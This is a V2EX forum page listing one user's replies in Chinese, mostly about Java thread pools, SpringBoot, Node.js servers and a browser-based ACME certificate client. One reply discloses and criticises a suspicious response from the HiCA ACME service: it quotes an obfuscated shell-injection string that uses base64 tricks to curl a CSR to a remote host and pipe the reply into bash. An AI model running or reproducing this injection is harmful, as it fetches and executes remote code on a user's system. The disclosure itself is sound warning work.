V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  xiangyuecn  ›  全部回复第 16 页 / 共 113 页
回复总数  2246
1 ... 12  13  14  15  16  17  18  19  20  21 ... 113  
350 天前
回复了 SJH0402 创建的主题 问与答 一个关于 Java 中动态生成 excel 文件的问题
@Bingchunmoli 一个入口不代表只是一个文件,/endpoint/method1 换成 /endpoint?method=method1 而已
$还是¥
350 天前
回复了 layxy 创建的主题 Java Java 执行大量长耗时接口,怎么使用单机处理
比如 核心线程数 等于 最大线程数 等于 100 个线程,核心线程空闲 5 秒关闭,队列给到 200 个容量

假如大部分时候只需要 20 个线程工作就够了,偶尔会有 200 个突发任务

那么一直会开启的可能就是 20 个左右的线程,突发的 80 个任务会开启新的线程处理,线程满了,多余的 100 个任务会被加入队列
-------

如果按照默认的逻辑,就算给到平常一倍核心线程数:40 个核心线程,200 个容量队列,100 个最大线程

200 个突发任务工作是不正常的:只会有 40 个线程同时工作,160 个被加入队列,因为队列没有满,不会开启新线程!
100 个最大线程成了摆设,队列卡在这个位置比较尴尬。
350 天前
回复了 layxy 创建的主题 Java Java 执行大量长耗时接口,怎么使用单机处理
@hhjswf #18 直接加大核心线程数,不就等同于说明了最大线程数没卵用😂

目前我就是这样做的,核心线程数 等于 最大线程数,通过设置 allowCoreThreadTimeOut(true)去掉核心线程这个概念,每个线程都是普通的,超时没有任务了线程就被回收,充分利用机器性能,其实也就等于说明了最大线程数没有卵用
@yzc27 #44 有 github 的,只是一个 html 文件,放电脑上也可以直接打开

https://xiangyuecn.github.io/ACME-HTML-Web-Browser-Client/ACME-HTML-Web-Browser-Client.html
@yzc27 #41 不会的,这个网页特意做成的一个单一文件,包括图标都是内嵌的;申请证书过程中请求的接口数据,可以按 F12 打开浏览器控制台查 Network 面板里面看得到,只会给选定的 ACME 接口发送数据;其中使用到的私钥只用于数据签名,私钥内容不会发送给任何人。
@yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波😂

HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。
AI 爆火的背后,卖铲子和牛仔裤的首先暴富
351 天前
回复了 Arcy 创建的主题 问与答 500 块能够做些什么?
加 20 ,转给你妈妈,周末回家至少能吃半年红烧肉😄
351 天前
回复了 layxy 创建的主题 Java Java 执行大量长耗时接口,怎么使用单机处理
ThreadPoolExecutor 线程池处理机制:
1. 新任务进入核心线程执行(核心线程默认不回收)
2. 核心线程数据量满了,放到队列等待
3. 队列 TMD 也满了,开新线程处理,直到线程数量达到最大线程数(这种线程会回收)


我一直没明白,这玩意到底是哪里会用到这破逻辑,最大线程数有个卵用啊😂

按我的脑回路,应该是核心线程满了,就开新线程,直到最大线程数,最大线程满了就放队列等待
351 天前
回复了 dropdatabase 创建的主题 问与答 不锈钢冰粒值得买吗
@kkwa56188 嗦丢儿?一人嗦一下,反复使用,一本万利
我网的问题,刚又打开了他们的网站。。哈

接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

------------------

快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅
354 天前
回复了 t298 创建的主题 问与答 我有一个项目架构的问题。
什么微服务不微服务 关系不大,统统面向 ctrl+c ctrl+v 编程,后面要是还来一个新客户 再复制一份,问题解决
354 天前
回复了 javak 创建的主题 Java Java 出活真的快吗
@zjsxwc #29 估计是很多代码单独放到了一个文件里面的缘故吧,一个文件的几行代码,看一段逻辑点开几十个文件😂

欢迎围观我的一个 java 开源库:高性能的坐标数据、边界数据查询工具,Java 开源程序、带 http 查询接口,内存占用低( 1 秒可查 1 万个以上坐标对应的城市信息)
https://github.com/xiangyuecn/AreaCity-Query-Geometry

源码直接丢在根目录裸奔,里面有个命令行文件 直接编译运行,代码全丢在一个 java 文件里面 打开阅读无文件切换压力

估计没几个人会和我一样这样写 java 程序了😅
354 天前
回复了 javak 创建的主题 Java Java 出活真的快吗
SpringBoot 最野蛮情况下,只需打包出一个 jar ,有 jdk 就能跑,内置 tomcat 自己玩(包括静态路径处理,https )

nginx 、依赖安装 这些玩意都全可以省了,一个 jar 搞定,,😂
357 天前
回复了 waytodelay 创建的主题 优惠信息 150g 芙丽芳丝 80 左右一支
80 块,按现价可以买 8 斤五花肉😅
iOS 相机真棒
文件名存储时间日期
357 天前
回复了 x77 创建的主题 程序员 求推荐个 nodejs rest api 服务器的方案
var http = require('http');
var https = require('https');

http.createServer(...).listen(80);
https.createServer(...).listen(443);

专业且绝对成熟
1 ... 12  13  14  15  16  17  18  19  20  21 ... 113  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   955 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 38ms · UTC 22:14 · PVG 06:14 · LAX 15:14 · JFK 18:14
Developed with CodeLauncher
♥ Do have faith in what you're doing.